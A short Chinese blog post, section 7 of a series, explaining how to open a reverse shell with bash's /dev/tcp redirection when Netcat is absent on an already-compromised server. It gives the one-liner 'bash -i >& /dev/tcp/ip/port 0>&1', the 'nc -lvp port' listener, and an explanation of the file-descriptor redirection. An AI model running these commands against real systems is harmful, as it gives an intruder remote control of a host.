7 Netcat 反弹shell

应用场景

某些拿到服务器权限之后,想要设置一个反弹shell。但是目标服务器上没有安装Netcat时。

image


反弹shell命令: bash -i >& /dev/tcp/ip/port 0>&1

PC接收Netcat命令: nc -lvp port



20678437

20704125

image

命令解释介绍

bash -i >& /dev/tcp/ip/port 0>&1

在命令中bash -i 表示已交互模式运行bash shell。重定向符 >& ,如果在其后加文件描述符,是将bash -i 交互模式传递给文件描述符,而如果其后是文件,则将bash -i 交互模式传递给文件。/dev/tcp/ip/port表示传递给远程主机的IP地址对应的端口。

文件描述符: 0 标准输入、1标准输出、2、错误输入输出
命令中的 0>&1 表示将标准输入重定向到标准输出,实现远程的输入可以在远程输出对应内容。

posted @ 2020-03-15 11:43  元贞  阅读(440)  评论(0编辑  收藏  举报